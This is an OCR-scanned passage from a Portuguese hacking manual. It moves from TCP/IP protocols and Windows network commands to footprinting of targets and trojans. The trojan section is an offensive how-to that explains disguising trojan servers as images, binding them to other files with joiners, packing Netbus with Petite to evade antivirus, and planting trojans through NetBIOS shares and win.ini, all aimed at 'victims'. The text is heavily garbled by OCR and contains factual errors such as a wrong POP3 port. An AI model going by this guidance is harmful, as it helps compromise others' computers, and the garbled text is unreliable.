o Ultimo byte do ip pode ser adterado. Agora, se a mascara for mudada para 255.255.0.0, os
enderecos ip acima seriam aceitos pois os Ultimos dois bytes (as duas Ultimas areas separadas
por pontos) podem ser mudados. Nas propriedades de TCP/IP (que variam de um sistema
operacional para o outro) vocé encontra a mascara de sub-rede.

No Windows, siga 0s seguintes passos:
22



Propriedades de TCP/IP
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200.131.16 . 1

2hh . 265 285, 0

Cligue em Iniciar e vaem Configuragdes e Painel de Controle
Procure entre os icones o de Rede e clique duas vezes para acessé&-lo
Na lista de protocolos, procure o TCP/IP e clique em propriedades
Em propriedades de TCP/IP, clique em Endereco IP

ok~ 0 DN

Agora selecione especificar um endereco IP e coloque como teste 0 enderego
200.131.16.1

6. Escrevaamascara de sub-rede desejada abaixo.

7. Né&o se esqueca depois de que se anteriormente a opgdo de obter um endereco IP
automaticamente estava habilitada, habilite-a antes de sair.

Propriedades do protocolo TCP/IP

No endereco IP 0s nimeros podem variar de 0 a 255 , mas geralmente em hosts séo
utilizados apenas de 1 a 254. O 0 e 0 255 sdo usados apenas para a méascara de sub-rede.

Portas

Se vocé quisesse colocar um servidor de homepage e um servidor de jogos em um host
tendo um sO endereco IP seria impossivel. Como o cliente saberia identificar qual dos
servidores precisa se conectar? Para isso criaram as portas. Elas identificam conexdes
utilizando nimeros de 0 a 65536. Alguns servicos ja possuem até suas portas padrdes, como é
0 caso do Telnet (porta 23) e do FTP (porta 21). Para saber quais servicos existem em um
servidor, leia a se¢do sobre scanners para saber como scannear portas.

DNS
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Nosso proximo passo no estudo do TCP/IP € o Domain Name Server (DNS) ou Servidor

de Nome de Dominio, em portugués. A funcdo dessa belezinha é extremamente Util. Ja
imaginou se voceé tivesse que decorar o endereco | P de todas as pégina que visita na Internet?
No maximo uns 10 vocé decoraria, mas e 0 resto? Para acabar com esse problema surgiu o
DNS. A sua fungdo € procurar em um banco de dados um nome que corresponda a um |P.
Quando digitamos www.yahoo.com por exemplo, ndo precisamos saber o endereco IP. O
DNS do nosso provedor de acesso vai checar esse nome em seu banco de dados e se
encarregar de nos direcionar ao I P encontrado. Olha que protocolo bonzinho :-) .

N6s mesmo podemos configurar e ligar alguns nomes a enderecos IP. O método mais facil
de se fazé-lo é utilizar o arquivo HOSTS. O processo é 0 mesmo do LMHOSTS do NetBIOS,
e 0 arquivo é encontrado no mesmo local. O interessante do HOSTS é que vocé pode pregar
pecas nos seus amigos, direcionando enderecos como www.fbi.gov para o IP de alguma
homepage hackeada ou até seu endereco IP local e contar vantagem de que invadiu o FBI.
Muitos “ hackers’ hoje em dia usam isso para aparecerem natelevisdo e “hackear” ao vivo.

SMTP

O Simple Mail Transfer Protocol € o protocolo responsavel por entregar mensagens de e-
mail a um destinatario. Toda vez que seus e-mails sdo enviados, um servidor smtp se
encarrega de levé-los a0 seu destino. Esse servidor geralmente se aloja na porta 25. O
interessante do SMTP € que ao contrério do POP3 (visto a seguir), ndo é necessario senha
para enviar um e-mail. Eu posso abrir o Microsoft Outlook e mandar e-mails como se fosse
George Bush ou Tom Cruise. A falta de seguranca no envio de mensagens é o ponto de
partida para a facilidade de se enviar e-mails anbnimos (como visto em anonimidade). O
SMTP ainda permite anexar a uma mensagem de texto contelidos binarios (programas por
exemplo), utilizando o MIME.

POP3

Outro protocolo de mensagens, sO que agora € o responsavel por o recebimento dessas
mensagens. O POP3 j& necessita de senhas para poder habilitar 0 acesso dos usuarios as suas
caixas postais, além de saber “re-montar” os arquivos enviados em formato MIME com o
SMTP. O POP3 geralmente se localiza na porta 113. Uma grande desvantagem dele € que fica
muito fécil fazer um ataque de bruteforce para tentar descobrir as senhas, ja que a maioria dos
servidores possui falhas que possibilitam softwares maliciosos de serem rodados.

TELNET

Telnet, ou terminal remoto € um modo de se acessar remotamente Sistemas como se vVocé
0s estivesse operando localmente. Por exemplo: usando o telnet (e um trojan instalado)
podemos ter acesso a0 MS-DOS de qualquer um. Do mesmo modo que poderiamos digitar
comandos para listar, copiar e apagar dados, conectados a outro computador também
podemos. Na verdade, todos os trojans sdo clientes telnet. Apenas sdo disfarcados com
botdezinhos bonitinhos pois geralmente quem precisa de trojans para invadir sistemas séo
pessoas que ndo possuem um bom conhecimento de seguranca. Se vocé encontrar alguma
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porta ativa em algum sistema (qualquer uma, sgja de trojan, SMTP, POP3, etc...), pode se
conectar aela por telnet.

Resumindo, se vocé souber usar bem telnet ndo precisa mais de outros programas no
computador. Ele acessa servidores utilizados pelos browsers (como Netscape e Internet
Explorer), clientes de E-mail, IRC, absolutamente tudo. Leia sobre o cliente telnet do
Windows no capitul o seguinte.

FTP

File Transfer Protocol € seu nome real. O protocolo de transferéncia de arquivos serve
Unica e exclusivamente para ser um banco de software. N80 se pode executar programas
remotamente como no caso do telnet, apenas pegar e colocar arquivos. Desde a criagdo da
Internet, o ftp é largamente usado. Uma de suas vantagens é, como ele é usado somente para
transferéncias de arquivos, sua velocidade pode chegar a ser muito maior do que pegar
arquivos em HTTP (visto mais a frente). No proximo capitulo vocé aprenderda os comandos
basicos de um cliente FTP e como manipular os arquivos dentro deste.

HTTP

Esse sem duvida é conhecido por muitos. Afinal, quem nunca viu na frente do endereco de
uma homepage esse nome? http://wwwe.altavista.com/. O Hyper Text Transfer Protocol é o
protocolo responsavel de transmitir textos, imagens e multimidia na Internet. Sempre que
vocé abre uma homepage (mesmo que ele sO contenha textos), vocé estd usando esse
protocolo. Achel interessante comentar sobre ele para que se entenda melhor como a Internet
ndo funciona isolada com um s6 protocolo. HTTP, FTP, TELNET e os outros muitas vezes
trabalham em conjunto e nem percebemos. Quando vocé for baixar um arquivo, preste
atencdo no link. E muito provavel que de uma pagina navegada por HTTP, se envie a um
servidor FTP.
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3 Pagina da Web ndo disponivel no modo off-line - Microsoft Internet Explorer - [Trabalhando off-line]

hittp:/ fvivan. anti-trojans. cjb.net,!

@ Pagina da Web nao disponivel off-line

O Internet Explorer ndo pode exibir esta pagina quando vocé ndo
estd conectado & Internet.

Tente o seguinte:

1. Paratornar esta pagina disponivel off-line, conecte-se &
Internet, clique no menu Favoritos, clique em Adicionar
aos favoritos e selecione a caixa de selegdo Tornar
disponivel off-line.

2. MNo menu Ferramentas, cligue em Sincronizar,

3. Ao trabalhar off-line, selecione a pagina da lista 'Favoritas',

Internet Explorer

Exemplo do protocolo http

SNMP

Simple Network Management Protocol. Algo como protocolo simples para mangjar a rede.
E é exatamente isso 0 que ele faz. Usando o SNMP vocé pode obter informagdes detalhadas
sobre contas de usuério, equipamentos de rede, portas e servigos abertos e muito mais. A ma
configuragcdo desse protocolo (deixando seu status como publico principalmente). Use a 6tima
ferramenta | P Network Browser da SolarWinds (www.solarwinds.net). Ela mostra até a cor da
cueca do administrador. Umadica: se da valor ao seu emprego desabilite o snmp.
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Screenshot do |P Network Browser
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Ferramentas TCP/IP

Programinhas uteis

Existem muitos programas que vém junto ao Windows e que possuem grande utilidade. A
grande maioria deles também funciona em Linux e Unix (o0 que muda um pouco é apenas a
sintaxe). Agora que ja passei uma nogdo do que é o TCP/IP e como funcionam muitos de seus
protocolos, ficara mais facil de aprendermos sobre as ferramentas essenciais de rede. Sera
apresentada a ferramenta, uma tela de ilustragdo e sua sintaxe de uso. Como as ferramentas
existentes sdo muitas, veremos apenas as mais importantes para nos.

CoATHDOWS »arp -a 169.254.178.132

Interface: 169.254_187.19% on Interface Ox3
Endereco Internet Endereco fisico Tipo
169254 _178.132 on-00-21-21-ab-ee dindmico

CoWWTHOOWS >

Permite realizar consultas e alteragfes na tabela de mapeamento entre enderecos IP e

enderecos MAC do cache ARP.
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arp -a [enderecolP] [-N IPInterface]

arp -s enderecolP enderecoMAC [IPInterface]

arp -d enderecolP [IPInterface]

Parametro Descricdo
enderecolP Especifica o endereco |P aresolver ou aterar.

EnderecoMAC  Especifica o endereco MAC aacrescentar ao cache do ARP.

O endereco MAC € composto por 6 bytes (expressos em notacao
hexadecimal) separados por hifen.

IPInterface Especifica o endereco |P da placa de rede cuja tabela ARP devera ser

-N

alterada. Por default, a primeirainterface disponivel sera utilizada.

Exibe as entradas de cache do ARP. Se o enderecolP tiver sido especificado, mostra
somente a entrada referente a esse endereco.

O mesmo que -a.

Exclui do cache do ARP o host especificado por enderecolP. Se IPInterface for
especificado, exclui o host do cache da placa de rede indicada por IPInterface.
Acrescenta ao cache do ARP uma associacao entre enderecoMAC e enderecolP. Se
IPInterface tiver sido especificado, acrescenta a associacéo no cache do ARP da placa.
de rede indicada por IPInterface.

Especifica o endereco | P da placa de rede a qual o comando se aplica.

g S S
% TMPORTAMNTE **
L

& 5 -'-._-_}g}a_que ap%= realizar suas operabies, wocl deve Timpar o cache de 3

dor (Shift + Atualdizar)

waean . Czeulogind Jhpg.cam.bre.
_ 29
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Transfere arquivos de ou para um computador remoto.

ftp [-v] [-d] [-1] [-n] [-g] [-S:nomearq] [-a] [-w:tamanho] [computador]

O servidor ftp solicitara um usuério e a senha correspondente.

A maioriados servidores FTP pode ser acessada por usuarios ndo cadastrados, utilizando o
usuario Anonymous.

Esse usuario ndo requer senha, mas muitos servidores solicitam como senha um endereco
de e-mail.

Opcéo Descricéo

-V Elimina as mensagens de resposta do servidor.

-d Ativa o modo de depuracéo, exibindo os comandos FTP enviados e recebidos.

-i Desativa a confirmagdo para a transferéncia de cada arquivo em operaces com
multiplos arquivos.

-n Elimina o login automatico na conexdo inicial.

-0 Desativa o globbing, que permite o uso de caracteres de mascara (*, ?) em
nomes de arquivos.

-S Especifica um arquivo de texto contendo os comandos FTP a serem executados
automati camente.

-a Utiliza qualquer placa de rede para estabel ecer a conex@o com o servidor FTP.

-W Define o tamanho do buffer de transferéncia (o default é de 4 KBytes).

Computador Nome do servidor FTP ou endereco IP. Deve ser o0 Ultimo pardmetro dalinha

de comando.

A seguir estd a sintaxe dos comandos interativos do protocolo FTP. Esses comandos
s80 utilizados de acordo com cada sistema e geralmente ja com a conexao online.

Comando Descricéo

append  Acrescentainformagfes a um arquivo.

ascii Indica que a transferéncia de arquivos sera feita no modo de texto
(arquivos apenas de texto, como TXT ou HTML)

bell Emite aviso sonoro ao término do comando.

binary Indica que atransferéncia de arquivos sera feita no modo binario.
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bye
cd
close
debug
delete
dir
disconnect
get
glob
hash
help

lcd
literal
Is
mdelete
mdir
mget
mkdir
mls
mput
open
prompt
put
pwd
quit
quote
recv

31
(utilizado para arquivos ndo-texto, como fotos, programas e videos)

Fecha a sessfo FTP e sai do programa FTP.

Seleciona um novo diretério de trabalho no computador remoto.
Fecha a sesséo com um servidor FTP.

Ativaldesativa 0 modo de depuragéo.

Elimina arquivos no computador remoto.

Lista o contetido de um diretério remoto.

Fecha a sessdo com um servidor FTP.

Copia um arquivo de um computador remoto para o computador local
Ativaldesativa o uso de caracteres de mascara (*,?) em nomes de arquivos.
Ativaldesativa aimpresséo de “#” para cada buffer transferido.

Exibe help on-line de um comando FTP. Se o comando n&o for especificado,
exibe alista dos comandos disponiveis.

Seleciona um novo diretério de trabalho no computador local.

Envia uma linha de comando diretamente ao servidor FTP.

Lista o contetido de um diretério remoto.

Elimina mdltiplos arquivos no computador remoto.

Lista o contelido de multiplos diretorios no servidor remoto

Copia mltiplos arquivos do computador remoto para 0 computador local.
Criaum diret6rio no computador remoto.

Lista o contelido de multiplos diretérios no servidor remoto

Copia miltiplos arquivos do computador local para o computador remoto.
Estebel ece uma conex@o com um servidor FTP.

Ativaldesativa a confirmagéo para a transferéncia com muitos arquivos
Copia um arquivo do computador local para um computador remoto (upload).
Exibe o diretdrio corrente no computador remoto.

Fecha a sesséo FTP e sal do programa FTP.

Envia uma linha de comando diretamente ao servidor FTP.

Copia um arquivo de um computador remoto para o computador local

remotehelp Exibe help on-line para comandos diretos do servidor FTP.

rename
rmdir
send
status

Renomeia um arquivo.

Remove um diretdrio no computador remoto.

Copia um arquivo do computador local para um computador remoto (upload).
Exibe informagdes sobre a configuragdo do cliente FTP.
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trace Ativaldesativa o0 modo trace (exibicdo de todas as agdes executadas).
type Define ou exibe o tipo de transferéncia de arquivo (ASCII ou binary).
user Especifica um novo usuario para o computador remoto.

IPCONFIG

"% Prompt do M5-D05

ipconfig
Configuracio de IP do windows
0 Ethernet adaptador :

sub-rede . . . .
padrio. . . . . . .

Fateway padrdoc. . . . . . .

Cimarcoss

Exibe a configuragéo do protocolo TCP/IP. Sem nenhum parémetro, exibe os valores de
endereco | P, méscara de sub-rede e default gateway para cada placa de rede instalada.

ipconfig [/? | /all | /release [adaptador] | /renew [adaptador]]

Opcado  Descricéo

/all Exibe informacdes detalhadas de | P para as placas de rede instaladas. Além do
endereco | P, da méscara de sub-rede e do default gateway,sdo exibidos também
os enderecos dos servidores DHCP, WINS e DNS para cada placa de rede
instalada.

Irelease Libera o endereco IP obtido para uma placa de rede através de um servidor
DHCP. Se a placa de rede ndo for especificada, libera os enderecos IP obtidos
paratodas as placas de rede do computador.

/renew Renova um endereco IP obtido para uma placa de através de um servidor
DHCP. Se a placa de rede n&o for especificada, renova os enderecos | P obtidos
para todas as placas de rede instaladas no computador.

adaptador Especifica uma placa de rede na renovagdo ou liberagdo de um enderego 1P
obtido através de um servidor DHCP. Para saber os nomes associados as placas
de rede, utilize o comando Ipconfig sem parametros.
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Nbtstat

Eviho octaticticac Ao nratnenlne o cnnovAoc TOD/ID 1icandn NatRINC enhro TOD/ID

Y4 MS-DOS Prompt
e [ [ = e e =N

C:%wrnbtstat -a gambhit

HetBIDS Remote Machine Hame Table

Status

GAMBIT UHIQUE Registered
#-MEH GROUP Registered
GAMBIT UHIQUE Registered
MARCOS UHIQUE Registered

MAC fAddress = O00-E0-7D-7F-DC-4&2

Cz%w*net view “iwgambat
Shared resources at “WOAMBIT

Sharename Type Corment

[ Disk
The command was completed successfully.

G:%rnet use Fo “gambit'C_

-S Exibe as sessdes TCP/IP estabel ecidas no computador (usando enderecos | P).
intervalo Especifica o tempo (em segundos) de pausa intermediaria parareexibir as

informagdes selecionadas. Pressione Ctrl+C parainterromper a exibicéo.
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CWWIHDOWS*ping ederson
Disparando contra ederson [169.254.178.132] com 32 hytes de dados:

Resposta de 169254 178.132:bytes=3? tempo<1ms Tempo de vida=128
Resposta de 169.254.178.132:bytes=32 tempo<1ms Tempo de vida=128
Resposta de 169254 178.132:bytes=3? tempo<1ms Tempo de vida=128
Resposta de 167.254.178.132:bytes=32 tempo<1ms Tempo de vida=128

Estatisticas do Ping para 169.254.178.132:

Pacotes: Enviados = &, Recehidos = &, Perdidos = 0 (0¥ de perdal,
Tempos aproximados de ida e volta em milissequndos:

Minimo = Oms, Miximno = Oms, Média = Oms

CoWWTHDOWS >

Utilizado para testar a conexdo com outro host. O Ping envia uma mensagem ao host
remoto e aguarda uma resposta contendo a mesma mensagem (echo). Se essa resposta chegar,
presume-se gue o host estegja vivo (literamente).

ping enderecolP | hostname [chaves]

Opcao Descricéo

enderecolP  Endereco IP (ou hostname) do host com o qual se esta testando a conexao.

-a Realiza aresolucéo DNS reversa, informando o hostname do host.

-n numero  Define 0 nimero de comandos Ping que serdo executados.

-Itamanho Define o tamanho da mensagem utilizada no comando Ping
(default=32 bytes).

-f Define aflag; “Do Not Fragment” — envia a mensagem sem fragmenté-1a.

-i ttl Time To Live — Define o méximo nimero de hops pelos quais os pacotes
podem passar (1-255).

-J hosts Rota de origem livre usando as entradas em hosts.

-k hosts Rota de origem restrita usando as entradas em hosts.

-r nimero Registra a rota dos pacotes. Define quantos hops serdo armazenados
(maximo=9).
-snimero  Timestamp do nimero de hops especificado.
-v TOS Especifica o tipo de servico a ser utilizado.
-t Emite comandos Ping continuamente até ser interrompido. Normalmente
Ctrl+C é utilizado parainterromper.
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Define 0 tempo maximo que o comando aguardara por uma resposta
(timeout).

Alguns roteadores, por questdes de seguranca, ndo encaminham pacotes enviados através
do protocolo ICMP (utilizado pelo Ping). O comando Ping pode ndo obter sucesso devido a

essa filtragem.

Telnet

¥ Telnet - cyberspace_org M= B3
LConectar  Editar Terminal  Ajuda

{ttyqS) grex login: mflavio
mflavio's Password:

The board and staff of Grex extend our deepest sympathies to the families
of those lost in the tragic events of 11 September 2881. Hay you find
peace beyond the pain of love torn away.

Thanks to the Ann Arbor Observer for the long-running Grex ad on arborweb.com.

Hew in the Grex auction: computer books, political books, stained glass
earrings, assorted electronic items, and a piece of Grex's historyt* The
auction benefits Grex. Check it out?® "j auction™.

The auction is also accepting new donations: send mail to
auction@cyberspace.org. -mac/swa

Last login: Sat Sep 8 18:18:47 on ttyq? from 208.216.115.224
Mo mail.

Conecta-se a uma méquina remota,, utilizando seus recursos disponiveis.

telnet [host [porta]]

Opcéo Descricéo

host Nome de host ou endereco I P do endereco remoto.
porta Endereco da porta remota.

Comandos Interativos do Telnet

close Fecha uma conex&o.

display Exibe opcbes de conexéo.

environ  Define variaveis de ambiente.

logout Encerra uma conex&o.

mode Alternaentre o modo de transferéncia ASCII e binario.
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open Efetua a conexdo com um computador remoto.
quit Sai do Telnet.
send Envia sequiéncias de protocolo Telnet especiais para um computador remoto.
set Define opgdes de conexéo.
unset Desativa parametros de conexéao.
Tracert

"% Prompt do M5-DOS

C:\WIHDDWS>tracert -w 3000 ederson

Rastreande a rota para ederson [16%.254.178.132]
com no maximo 30 saltos:

1 <10 ms <10 ms <10 ms EDERSOH [16%.254_178.132]
Rastreamento completo.

CoWTHDOWS -

O Tracert (tragar rota) serve para verificarmos quantos e quais computadores 0s n0ssos
dados passam até chegar a um destino especificado. No exemplo acima, levou apenas um
computador para alcancar o destino pedido.

tracert [-d] [h- hopsmax] [-] listahops] [-w timeout] destino

Opcao Descricéo

-d N&o converte os enderegos em nomes de host.

-h NuUmero méaximo de hops (TTL) para encontrar o destino.

-] Rota de origem livre com a listahops.

-W Timeout, ou tempo maximo para resposta (em milissegundos).

destino Nome do host de destino (ou endereco | P).
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Winipcfg

Configuracao de IP

O Winipcfg € uma excelente ferramenta no que se trata de mostrar informagfes sobre o
protocolo |P. Podemos dizer que ele € o IPCONFIG com interface GUI (digamos, bonitinha).
Ele Ihe mostra seu |P local, |P da rede, mascara da sub-rede e muito mais. Para acess&|o, va
em iniciar / executar e digite winipcfg.

by Wyllow 37
000> -.-~ €000
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Footprinting

Footprinting € a arte de obter informacdes sobre um sistema alvo usando téticas “ seguras’,
sem perigo de deteccdo, e que pode dar muitas informacdes sobre ele. Tais como visitar o site
da empresa em que se quer invadir e ler as se¢cOes para ver se encontra algo de interessante.

Whois

O Whois é excelente para obtermos informagdes sobre sites. Bancos de dados como o
Internic (www.internic.org) mantém informacdes interessantes sobre os dominios, tais como
nome do dono, endereco e telefone. No Brasil, o orgéo responsavel por essa tarefa é a Fapesp
e podem ser feitas pesguisas no seguinte enderego: www.registro.br.

2} Registro .br - Whois - Microsoft Internet Explorer

File Edit Wiew Faworites  Tools  Help .-Zz*
- 1. - o il ¥ ¥
s H : [ L y g : L N T
@ Back cd | % i_"'j (nl | Search 7.0 Favorites ﬂ" Media 6-‘! =
v BYq Lok

Address '@:] http:firegistro. brjcgi-binnichrwhois

A
B

- L ; .

" registro .br Whois
‘ Home | Registro | Info | FAQ | Pesquisas | Estatisticas | IMapa | Contato

|| PESQUISAR

% Copyright registro.br

% The data below is provided for information purposes

% and to assist persons in obtaining inforwmation about or

% related to domain nawe and IP nunber registrations

%Y By submitting 2 whois query, vou agree to use this data

% only for lawful purposes.

¥ 2001-12-12 15:26:52 (BRST -0Z:00)

dominio: TOL.COM.ER

entidade: Tniverso Cnline Ltda 38
docummento: 001.354.636/0001-02

responsédvel: Caio Tulio Costa

enderego: L1, Barao de Limeirs, 425, 3 andar

enderego: 01202-300 - Sao Paulo - 3P

telefone: (011) 224-3461 [] oS

@ £ Internet
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Analise de homepages

Consiste em entrar no site, ler tudo quanto é pagina, homepages pessoais de funcionarios
(se for uma empresa), absolutamente tudo. Parece incrivel mas muitos lugares mostram até
configuracOes da rede em suas paginas. O codigo em html também deve ser analisado a
procura de comentarios. Muitos deles podem ser extremamente Uteis. Cheque todos os links,
observe 0s enderecos em que as paginas se posicionam. Ja da para comegarmos 0 montar um
mapa da rede (antes de fazer um ataque direto scanneando mais tarde).

Pesquisa geral

Use ferramentas de busca como o Altavista para descobrir outras paginas com o nome do
dominio atacado. Pesguise em jornais noticias em jornais e revistas sobre o “inimigo” , tais
como se elejafoi atacado, se ja sofreu algum tipo de invasdo, etc. Tente conhecer pessoas que
trabalham |4, ter uma nocéo de quantos empregados existem tomando conta daquel e servidor.
Enfim, quanto mais vocé puder descobrir na pesquisa geral, mas fécil o seu trabalho ficara
depois.
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Trojans

Definicdo de Trojan

O nome trojan € uma alusdo a histéria do antigo cavalo de tréia, em que o0 governante da
cidade de Troia na antiga Grécia foi presenteado com um cavalo de madeira no qual havia
escondido soldados inimigos. Possui muitas caracteristicas similares aos virus, tais como:
perda de arquivos, falhas na memdria, erros em periféricos, etc... A grande diferenca € que o
trojan pode ser considerado um virus inteligente, pois é controlado a disténcia pela pessoa que
o instalou. Esse individuo entdo, consegue “enxergar” o seu computador, podendo realizar
desde as mais simples tarefas como mexer 0 mouse a utilizagdo do seu |IP como ponte para
outros ataques. Conseguem ficar escondidos em arquivos de inicializacdo do sistema
operacional e seiniciam toda vez que a maquina € ligada.

Perigo real

A popularizacéo da Internet e a facilidade de se criar um programa cavalo de tréia fazem
com gue esse método de invasdo sgja atualmente 0 mais perigoso de todos. Ele ndo depende
de falhas no seu sistema, € quase indetectavel e pela sua facilidade de uso pode ser operado
por criangas de 6 anos. Pode-se esconder um trojan em fotos, arquivos de musica, aplicativos
e jogos. Sendo assim, nunca abra arquivos executaveis enviados por estranhos ou pegos em
sites duvidosos. Existerm muitas técnicas para se instalar um trojan em uma maguina. Um bom
exemplo no Windows 98/ME é mapeando a unidade desse computador (netbios), copiar o
programa e alterar o arquivo win.ini Assim toda vez que vocé for jogar paciéncia ou mesmo
abrir o bloco de notas, tome cuidado com o tamanho do arquivo executével. Se estiver muito
grande, desconfie.

Tipos de cavalo de tréia

Invasao por portas TCP e UDP

Esse € o trojan mais comum existente na Internet hoje. Netbus, Back Orifice, SubSeven,
Hack’a'tack, Girlfriend, Netsphere e muitos outros sdo facilmente encontrados pela rede.
Possuem na sua maioria dois arquivos: um servidor para ser instalado no computador da
vitima e um cliente com interface gréfica para manipular o servidor remotamente. As portas
de um sistema variam entre 0 e 65535 e servem para identificar servigos rodando no sistema
(como o servidor web que utiliza a porta 80). O servidor se torna mais um servigo ao escolher
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alguma porta para “escutar” as chamadas do cliente.O trojan que utiliza portas TCP,
estabel ece uma conex&@o com o servidor, atuando diretamente de dentro do sistema. Ja o que
utiliza portas UDP, comunica-se via pacotes de dados enviados ao host alvo. N&o téo
confiavel como o TCP, ndo garante a entrega dos pacotes e o0 recebimento da resposta. Quase
todos os trojans atuais sGo para a arquitetura Windows. Os poucos existentes em outros
sistemas, tais como: Unix, Linux, Novell e Macintosh sdo chamados de backdoors. A
diferenca entre o trojan comum e o backdoor é que o Ultimo é muito mais dificil de seinstalar.
Em um sistema Unix por exemplo, para conseguir se instalar um backdoor € preciso possuir
privilégios de super usuério (root).

Trojans de informacéo

N&o é tdo usado quanto o de portas mas igualmente (ou até mais) perigoso. Enquanto a
maioria das funcbes dos trojans comuns € apenas para aborrecer( sumir com a barra de
tarefas, apagar o monitor, desligar o Windows, etc...), o trojan de informagéo se concentra em
ficar residente detectando todos os tipos de dados vitais do sistema. Ele consegue toda senha
digitada no servidor junto ao endereco ip das méquinas e envia a informagdo para uma conta
de e-mail configurada pelo invasor. Existem alguns programas mais sofisticados que além de
enviar por e-mail, pode enviar a informagdo por icq ou qualquer outro tipo de messenger.
Geralmente 0 programa envia a informagdo em um prazo de cada 5 a 10 minutos. Ao
contrério do trojan de portas, possui apenas 0 arquivo servidor e um tamanho bem menor.
Exemplo: o servidor do trojan de portas Netbus possui cerca de 490 kb de tamanho. Ja o
trojan de informagdes k2ps possui cercade 17 kb.

Trojans de ponte

E um tipo nd muito conhecido mas largamente usado por hackers e crackers do mundo
inteiro. Consiste em instalar um servidor no seu computador que possibilite que através dele
(e do seu endereco ip) o invasor possa redlizar atagues de invasdo e de recusa de servico.
Ent&o, se um grande site for invadido e baterem na sua casa, procure pois deve haver algum
desses no seu sistema. Um programa comum € o WinProxy, que pode ser instalado facilmente
e ndo levanta nenhum tipo de suspeitas. Conheco alguém que 0 possui ha sua maguina e jura
gue éum firewall. Leia mais sobre os trojans de ponte na secéo anonimidade.

Rootkits

Esse tipo especial de backdoor € utilizado no Unix e Linux. Ao ser executado pelo
operador do sistema ele substitui arquivos executaveis importantes (como o ps por exemplo)
por versdes “infectadas’. Essas versdes podem ser tanto trojans de portas quanto de
informacdo. V ao fornecer acesso irrestrito ao invasor com poderes de super-usuario, e 0 mais
importante: os acessos ndo ficam registrados nos logs. Para conhecer alguns dos rootkits mais
usados e o tipo de alteracédo causada por eles, visite o website: www.rootshell.com.

Trojans comerciais

Alguém ja ouviu falar do PcAnywhere? Ou do terminal remoto do Windows 2000 e XP?
Esses programas (além de muitos outros) possibilitam que vocé controle completamente a
méquina de alguém, como se estivesse sentado ali. Quer jogar Quake no computador
invadido? Clique no bot&o iniciar dele e faca tudo como se estivesse no seu proprio
computador. A vantagem desses programas (j& que sd0 comerciais), € que o anti-virus ndo
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Connection details i Xl

w_ WHE zerver !200.202.251.11?:2] :j
Use hast:display Cancel I

2.0, shoopl: 2 :
[Dizplay defaultz to O if not given] Options... I 43

pega. Tente também o excelente VNC (que pode ser pego em www.superdownl oads.com.br),
gue é gratuito. Se vocé configurar direitinho um programa desses na vitima, seja piedoso.

Cliente para conexdes do programa comercial VNC, criado pela AT&T

Escondendo o trojan em arquivos confiaveis

Existem muitos programas na Internet que escondem os servidores em arquivos
executaveis. Um deles é o The Joiner, que possibilita vocé juntar o trojan com algum outro
executével e criar um terceiro contendo os dois. Além de possibilitar que o cologue em fotos.
Um método engracado muito utilizado hoje pelos que se dizem “hackers’, é renomear algum
executavel parafoto e deixar um largo espaco. Por exemplo: supondo que 0 nosso servidor € 0
arquivo server.exe. Entéo iriamos renomeé-1o paraloira.jpg .EXE.

Assim muitos usuarios inexperientes caem no truque. Todos os métodos citados
anteriormente tém somente uma falha: se vocé criar um executavel pelo The Joiner ou
renomear o servidor, qualquer programa anti-virus logo detectard o arquivo. Para que o anti-
virus ndo o detecte, € sO usar a imaginacdo. Crie um programa em alguma linguagem e
coloque o servidor no meio dos arquivos. Faga com que 0 programa quando executado
renomeie o servidor e 0 execute. Assim, se 0 servidor estiver como voodoo.dll passe-o para
sysconf.exe e execute. Esse método ndo é infaivel mas engana a grande maioria dos
programas de deteccdo. Mas ndo todos. Anti-virus geralmente o pega.

..~ Joiner by Blade - version 1.5

First executable :
c:ltrojaniserver.exe =

Second file: 7
Moy the 2econd file could be a picture, zound, ...

c:folos\garota.jpg =
|=q rokificatior
[T] Enable ICE notification

_ & info |
It 0 (LT 29839368

The Joiner: esconda o servidor em outro arquivo

n-d

Utilizando compressores de executaveis

Como vimos no item anterior, varios métodos podem ser usados para esconder um cavalo
de tréia. Depende mais da imaginacdo do invasor. SO que ainda assim podem ser facilmente
detectados. Esse € o primeiro livro a citar 0 método do compressor de executaveis windows
32 bits, apesar de essa técnica ja vir sendo utilizada em larga escala. Consiste em usar um
programa compressor de arquivos EXE, que apenas diminua o seu tamanho retirando espagos

vazios desnecessarios. Um programa comum € o Petite que diminui cerca de 30% ou mais do
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arquivo origina. Um trojan (ou mesmo um virus) comprimido € absolutamente indetectavel
por anti-virus e scanners. 1sso porqué esses programas se baseiam na estrutura do arquivo para
identificalo. E como se tivesse fotos na memdria e as comparasse. Como ndo encontrou
nenhumaigual, ndo mostra nenhum tipo de aviso. Um operador de sistemas tém que conhecer
muito bem seus arquivos e conferir sempre novas alteragdes (como datas e horas de novos
arquivos) para evitar que um trojan comprimido sgja instalado em seu sistema. N&o dependa
SO de anti-virus. Mas atengdo: 0s compressores de executaveis ndo comprimem arquivos que
jaforam comprimidos (como o server do trojan subseven).

Vamos realizar passo a passo 0 processo de esconder um trojan de um anti-virus.

1. Passaremos o Norton para que encontre o arquivo infectado:

Morton AntiVirus

&l
=

A

Reparar o arquivo infectado [recomendado] |—

—

2. Agora, abriremos o programa PETITE para comprimir o arquivo EXE do
servidor do Netbus.



[ Petite 2.2 - GUI ===

’V ciirojansnetbusipatch.ene

Petite 2.2, copyright 1998-99 lan Luck.
SHAREWARE... see REGISTER.TXT for details.

MetBus Parch

Spoofando uma porta

E muito raro a utilizagdo do spoof em trojans. 1sso porqué se a pessoa envia um pedido de
conexdo a um servidor, ela precisa estar usando o seu endereco | P real para receber aresposta.
Apenas com o protocolo UDP, que envia comandos sem estabel ecimento de conexao, isso é
possivel. Em quase todos os casos, 0 endereco |P capturado por um programa anti-trojans é
realmente o do invasor. A Unica excecdo é quando se utiliza um trojan de ponte para se
conectar a outro (geralmente TCP). Exemplo:

Méguina Méquina Méguina
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A maquina A tém duas opc¢des. Pode se conectar ao trojan existente namaquina C. Mas o
invasor ndo quer correr nenhum risco pois ndo estda usando nenhum tipo de recursos de
anonimidade. Entéo ele se conecta a maquina B que estd na mesma rede que a maquina C
mas ndo possui nenhum tipo de segurancga. Se utilizando da confianga entre as duas maquinas,
ele se conecta a maquina C gue vai responder tudo o0 que invasor quiser, pois pensa que € a
maquina B. Essa técnica, chamada de | P Spoof, foi utilizado pelo hacker Kevin Mitnick para
conseguir acesso ao computador do analista de sistemas Shimomura. O processo sera descrito
em detal hes na secéo anonimidade.

Métodos eficazes e os néo tao eficazes de se retirar o programa

Basicamente existem quatro métodos de se retirar um cavalo de tréia. Cada um possui suas
vantagens e falhas. O ideal seria usar um pouco de todos.

Deteccdo por portas

